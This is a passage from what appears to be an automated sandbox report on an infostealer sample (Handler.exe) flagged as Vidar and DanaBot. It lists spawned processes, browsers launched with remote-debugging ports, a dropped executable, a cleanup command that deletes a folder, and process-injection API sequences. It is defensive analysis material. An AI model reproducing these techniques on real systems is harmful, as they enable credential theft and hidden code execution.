Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: infostealer_win_vidar_strings_nov23, Description: Finds Vidar samples based on the specific strings, Source: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Sekoia.io
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:18:01
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6332 -s 912
Imagebase:	0x7c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:18:11
Start date:	13/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:18:13
Start date:	13/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2296,i,16265888405740233953,487256461960710161,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:18:24
Start date:	13/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff6d64d0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:18:25
Start date:	13/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2840 --field-trial-handle=2512,i,6456862543723051925,6952056240322509196,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:18:25
Start date:	13/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	14:18:25
Start date:	13/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	14:18:29
Start date:	13/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6636 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:18:29
Start date:	13/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6692 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:18:57
Start date:	13/01/2025
Path:	C:\ProgramData\5fctr1d2dt.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\5fctr1d2dt.exe"
Imagebase:	0x400000
File size:	5'768'704 bytes
MD5 hash:	0A6AE4DE16757CD121632BAD3A903EDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000000.2588541946.0000000000419000.00000020.00000001.01000000.00000015.sdmp, Author: Joe Security Rule: JoeSecurity_DanaBot_stealer_dll, Description: Yara detected DanaBot stealer dll, Source: 00000016.00000000.2588541946.0000000000419000.00000020.00000001.01000000.00000015.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\ProgramData\5fctr1d2dt.exe, Author: Joe Security Rule: JoeSecurity_DanaBot_stealer_dll, Description: Yara detected DanaBot stealer dll, Source: C:\ProgramData\5fctr1d2dt.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\ProgramData\5fctr1d2dt.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	14:19:01
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\tjw47" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:19:01
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:19:01
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xf90000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:19:25
Start date:	13/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6788 --field-trial-handle=2036,i,7088041380943478253,12822702137205898198,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	21.9%
Total number of Nodes:	32
Total number of Limit Nodes:	5

Executed Functions

Function 02D07F2D Relevance: 40.5, APIs: 10, Strings: 13, Instructions: 294
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02D07E9F,02D07E8F), ref: 02D080C5
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02D080D8
Wow64GetThreadContext.KERNEL32(00000338,00000000), ref: 02D080F6
ReadProcessMemory.KERNELBASE(0000033C,?,02D07EE3,00000004,00000000), ref: 02D0811A
VirtualAllocEx.KERNELBASE(0000033C,?,?,00003000,00000040), ref: 02D08145
WriteProcessMemory.KERNELBASE(0000033C,00000000,?,?,00000000,?), ref: 02D0819D
WriteProcessMemory.KERNELBASE(0000033C,00400000,?,?,00000000,?,00000028), ref: 02D081E8
WriteProcessMemory.KERNELBASE(0000033C,?,?,00000004,00000000), ref: 02D08226
Wow64SetThreadContext.KERNEL32(00000338,02CC0000), ref: 02D08262
ResumeThread.KERNELBASE(00000338), ref: 02D08271

Strings

WriteProcessMemory, xrefs: 02D08040
aryA, xrefs: 02D07F73
CreateProcessW, xrefs: 02D07FE1
ress, xrefs: 02D07FB7
ResumeThread, xrefs: 02D08069
GetP, xrefs: 02D07FAF
SetThreadContext, xrefs: 02D08053
VirtualAlloc, xrefs: 02D07FF4
VirtualAllocEx, xrefs: 02D0802D
TerminateProcess, xrefs: 02D08154
GetThreadContext, xrefs: 02D08007
Load, xrefs: 02D07F6B
ReadProcessMemory, xrefs: 02D0801A

Memory Dump Source

Source File: 00000000.00000002.2206576437.0000000002D07000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D07000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d07000_Handler.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-232383841
Opcode ID: 956aea2136c6b0205ab5bf3fe1e0123e9091b05b22cf94d50ecc47fa332fbd9d
Instruction ID: 0a400e478dc2bbe5321e7d5a4aa4084c981a86b410db81ff3744d6d79cf3910d
Opcode Fuzzy Hash: 956aea2136c6b0205ab5bf3fe1e0123e9091b05b22cf94d50ecc47fa332fbd9d
Instruction Fuzzy Hash: 51B1F67660064AAFDB60CF68CC80BDAB7A5FF88714F158124EA08EB351D774FA51CB94

Function 02D080AA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02D07E9F,02D07E8F), ref: 02D080C5
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02D080D8
Wow64GetThreadContext.KERNEL32(00000338,00000000), ref: 02D080F6
ReadProcessMemory.KERNELBASE(0000033C,?,02D07EE3,00000004,00000000), ref: 02D0811A
VirtualAllocEx.KERNELBASE(0000033C,?,?,00003000,00000040), ref: 02D08145
WriteProcessMemory.KERNELBASE(0000033C,00000000,?,?,00000000,?), ref: 02D0819D
WriteProcessMemory.KERNELBASE(0000033C,00400000,?,?,00000000,?,00000028), ref: 02D081E8
WriteProcessMemory.KERNELBASE(0000033C,?,?,00000004,00000000), ref: 02D08226
Wow64SetThreadContext.KERNEL32(00000338,02CC0000), ref: 02D08262
ResumeThread.KERNELBASE(00000338), ref: 02D08271

Strings

TerminateProcess, xrefs: 02D08154

Memory Dump Source

Source File: 00000000.00000002.2206576437.0000000002D07000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D07000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d07000_Handler.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: TerminateProcess
API String ID: 2687962208-2873147277
Opcode ID: 366357b1f1c2220b0d4ba716667a9fb5a6f16c59ad58adbe506062085bfa29f6
Instruction ID: f966d8e746689dc54f6fd1858b2d2c1da80b22b47a5e273c2e2f35c6861406f2
Opcode Fuzzy Hash: 366357b1f1c2220b0d4ba716667a9fb5a6f16c59ad58adbe506062085bfa29f6
Instruction Fuzzy Hash: 84311E72640646ABD774CF54CC91FEA7365BFC8B15F148508EB09AF380C6B4FA018B94

Function 00F527A0 Relevance: 1.7, APIs: 1, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2205815379.0000000000F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_Handler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6994e35d1d187b84cb43a9618ebd82e415965d82e41c0de92b84f6ca0a4487be
Instruction ID: 6b5e2091a8afa73fc20438cc44f331b2e430a678bb55fc0bd2fbb6ae88aa9ea8
Opcode Fuzzy Hash: 6994e35d1d187b84cb43a9618ebd82e415965d82e41c0de92b84f6ca0a4487be
Instruction Fuzzy Hash: AAA138709001599FCB45CFA9C480AEDFBF1BF59315F28C65AE958A7352C330A885EBA4

Function 00F52028 Relevance: 1.6, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00F52A69

Memory Dump Source

Source File: 00000000.00000002.2205815379.0000000000F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_Handler.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e80301bd8c7b990e1ff6cd7517211a556c593be91ef7cdfcb9a4b36035fff290
Instruction ID: 696d8d5a9e2f8a9547d438fe449b635f01c2dd0f4614de0c7bf54f2f4c76c3d6
Opcode Fuzzy Hash: e80301bd8c7b990e1ff6cd7517211a556c593be91ef7cdfcb9a4b36035fff290
Instruction Fuzzy Hash: EF21F4B1D01619AFCB10DF99C884ADEFBB4FF49310F10812AE918A7201C3746954DFE5

Analysis Process: Handler.exePID: 5532, Parent PID: 6332COMMON

Execution Graph

Execution Coverage:	14.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.8%
Total number of Nodes:	188
Total number of Limit Nodes:	1

Executed Functions

Function 00428248 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(?,?), ref: 004282AF
memset.MSVCRT ref: 004282C3
memset.MSVCRT ref: 004282D4

Strings

%s\*.*, xrefs: 0042827A, 00428280, 00428294

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset$FileFindFirst
String ID: %s\*.*
API String ID: 2180624105-1013718255
Opcode ID: ee3cd0bef39285e60ec048c7d744cdacfd10b79e9f049abb3da976af403e7ac3
Instruction ID: 0a6b2ea63025e97e5e598bf4e61c55c08c71b8a32124561313a11673bac0cd5d
Opcode Fuzzy Hash: ee3cd0bef39285e60ec048c7d744cdacfd10b79e9f049abb3da976af403e7ac3
Instruction Fuzzy Hash: 8611E776A002445BD710DB99DC85D9B3BACDB8A350F05017CF919D3342E6789F58CBA4

Function 0040B846 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

CreateDesktopA.USER32 ref: 0040B86C

Strings

%s%s", xrefs: 0040B88E, 0040B894, 0040B8A9, 0040B8AE
OCALAPPDATA, xrefs: 0040B8EE, 0040B8F4, 0040B902, 0040B907

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateDesktop
String ID: %s%s"$OCALAPPDATA
API String ID: 3054513912-3945843140
Opcode ID: 860e00e64f807195728f0608d2f0bd4457fba2b31b2b7ff1c9972e30e191eb60
Instruction ID: 3d2972af386316d9be50767083905085ccda19580b27f6f880edc31ac63f85e4
Opcode Fuzzy Hash: 860e00e64f807195728f0608d2f0bd4457fba2b31b2b7ff1c9972e30e191eb60
Instruction Fuzzy Hash: A8310876A502008BD714DF68DDC0BA937F4EF9A704F08816DE809D7312E674EA95CB59

Function 0040CCEA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 0040CDF7

Strings

$|X, xrefs: 0040CE12

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: $|X
API String ID: 1974802433-3892261830
Opcode ID: 93ba6a4fb0da29434ce8e6e354f19ad1ebedb407e9703d29a19c9622524f0e29
Instruction ID: f96707184f20121d0bda5babc62ec9bbf22f85a6a0252dbd6d8119ede72c3401
Opcode Fuzzy Hash: 93ba6a4fb0da29434ce8e6e354f19ad1ebedb407e9703d29a19c9622524f0e29
Instruction Fuzzy Hash: 97318DB67011109FDB14DBACDCC0BA973B5AFCA308F054878E019D3352DB38AE198B59

Function 0040177C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 004019DA

Strings

\*.*, xrefs: 004017F1, 004017F7, 00401810

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: \*.*
API String ID: 1974802433-1173974218
Opcode ID: 45da029c2d2ac17479f9af7bbc5d6394cf2116e07b0005f993176921ea4e3c3e
Instruction ID: 22346f696f13e9549d8facf84d4ffd02b2e8a1bb9ee0c0cc419566cfbec9e226
Opcode Fuzzy Hash: 45da029c2d2ac17479f9af7bbc5d6394cf2116e07b0005f993176921ea4e3c3e
Instruction Fuzzy Hash: 0A3140BAA001659FC715DF98DCA1AED73B4FF86308B04447CA519E3251EA34BF49CB58

Function 0041008C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 00410141

Strings

\*.*, xrefs: 004100DB, 004100E1, 004100FA

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: \*.*
API String ID: 1974802433-1173974218
Opcode ID: 46a0960487acdacf2fd8ef0d0d4f45aa313d752388bab4cdc5630ddcade3ae05
Instruction ID: 71774e874bff6838fcadcdfaea7023f42c996f402008a6bac7216c547bb6b296
Opcode Fuzzy Hash: 46a0960487acdacf2fd8ef0d0d4f45aa313d752388bab4cdc5630ddcade3ae05
Instruction Fuzzy Hash: 51218B3A7001549BCB14CFACDCC9F9977B5EF8A308F044079A519E3391EA34AE19CB69

Function 004291EA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 00429256

Strings

%s\%s, xrefs: 0042921B, 00429221, 00429236, 0042923B

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: %s\%s
API String ID: 1974802433-4073750446
Opcode ID: 17400cc20f939fb2ea047b134b98f59f63716dce399d062876eda283c47b5410
Instruction ID: 48a9b12bb2e10cf1fcdd8e6fb660103a8b5b91703090a48299523f0d276b014d
Opcode Fuzzy Hash: 17400cc20f939fb2ea047b134b98f59f63716dce399d062876eda283c47b5410
Instruction Fuzzy Hash: F00128753102049FD708EB68DC81DA633ACFBC5310B004938B915CB352EB34ED49C768

Function 0042A4E5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 0042A548

Strings

%s\*, xrefs: 0042A513, 0042A519, 0042A52D

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: %s\*
API String ID: 1974802433-766152087
Opcode ID: 147f18f658a4627c497f47d40985670674bd45b1b97b9c5dcec16a5a094effb5
Instruction ID: 0609e92204065f63010fd7ad1d7f6de40c2cf777a2a57bed9933e9f42ca579c2
Opcode Fuzzy Hash: 147f18f658a4627c497f47d40985670674bd45b1b97b9c5dcec16a5a094effb5
Instruction Fuzzy Hash: 9901FE76D012145FD704DF55ECC1DAA3B79AF86325B054038E81AF7391E630EE58C7A4

Function 0042BD1E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 0042BD60

Strings

%s\*, xrefs: 0042BD30, 0042BD36, 0042BD4D

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: %s\*
API String ID: 1974802433-766152087
Opcode ID: c3e509897c29787022350f80ffc0ff6cef781e262badee9c2a4ab92802de6c54
Instruction ID: 931b0de070de10b7e66256f6a66663b599e1610311875de6a1b42976d5bd7aee
Opcode Fuzzy Hash: c3e509897c29787022350f80ffc0ff6cef781e262badee9c2a4ab92802de6c54
Instruction Fuzzy Hash: 7CF054B66202059FD704DF6CEC91D6A33ECAB85214F040939BC15D3352EA75B9088B54

Function 0041F53D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 28timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32 ref: 0041F573

Strings

6l, xrefs: 0041F547

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: 6l
API String ID: 565725191-3579878408
Opcode ID: d1f1aa9db316d0556c24cff3fcebf8ffe5a39d00abe2e1027b6969b4bb4cace5
Instruction ID: 51eb3bd1622886aac5f8ccd9b6177312287d20add2d8b6e62fb82a58f3c5e34c
Opcode Fuzzy Hash: d1f1aa9db316d0556c24cff3fcebf8ffe5a39d00abe2e1027b6969b4bb4cace5
Instruction Fuzzy Hash: 52E092BA700200BBD32CDF3CDDD5F5A36A99B86364B15463CB125CB3D9D9719C148658

Function 004201FF Relevance: 3.0, APIs: 2, Instructions: 33processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0042023A
Process32First.KERNEL32(00000000,?), ref: 0042024A

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID:
API String ID: 2353314856-0
Opcode ID: 51a0a3a86996dd71d6c256b735e4ff4c0fdb01524f04b67741bc59405e23ec16
Instruction ID: c579f703dafad097f5d9c0689e3975df6c889f8e9946543bcf98fd5d00d92f8f
Opcode Fuzzy Hash: 51a0a3a86996dd71d6c256b735e4ff4c0fdb01524f04b67741bc59405e23ec16
Instruction Fuzzy Hash: 50F0BE767003215BDB24CF2ADC85F5BBBA9FBC6300F084819B455CB391CA70D814CB69

Function 004018DA Relevance: 1.6, APIs: 1, Instructions: 94fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 004019DA

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 3c1b4fee3c951a545f55fd42dc46924680b74bce36de95e4240348f77afb1a4e
Instruction ID: 384581a553c9b641a9d9dadc207eefd58bf68b9b5068ecbce6f45e1e004277aa
Opcode Fuzzy Hash: 3c1b4fee3c951a545f55fd42dc46924680b74bce36de95e4240348f77afb1a4e
Instruction Fuzzy Hash: D13120BAA001649FC704DF98DC91AAD73B9EFC5608B08446CB51AE3351EA74BF45CB58

Function 0040E749 Relevance: 1.6, APIs: 1, Instructions: 71fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 0040E7FD

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: ca8952b2d87523698d5ab2caeaa578ab4bbb1f7eb8d0a0ed884b13eb9ba42fca
Instruction ID: 6d01b9231f5bbaf653de1ab32846f44ac3f5364cab858fddac85960c65a6f770
Opcode Fuzzy Hash: ca8952b2d87523698d5ab2caeaa578ab4bbb1f7eb8d0a0ed884b13eb9ba42fca
Instruction Fuzzy Hash: 2521DB366002048FCB14DF9CCCC4FA937A5AB8A314F044538B429E7352DA34AA18CB5A

Function 00412AC9 Relevance: 1.6, APIs: 1, Instructions: 71fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 00412B77

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 219f719297c6cbb6f48a629ba439f8744997e797cd7ddcf31338611ae8ca9535
Instruction ID: 8bab2d8d4da6b135567d6663b7f8523f409fe4a46747f795839d2863d3a3a458
Opcode Fuzzy Hash: 219f719297c6cbb6f48a629ba439f8744997e797cd7ddcf31338611ae8ca9535
Instruction Fuzzy Hash: CA2192BAB002049FCB18DBACEC81EDD73B6EFC6305B184124A815D3351DA34AE15CB59

Function 0041F9A3 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 0041F9BC

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
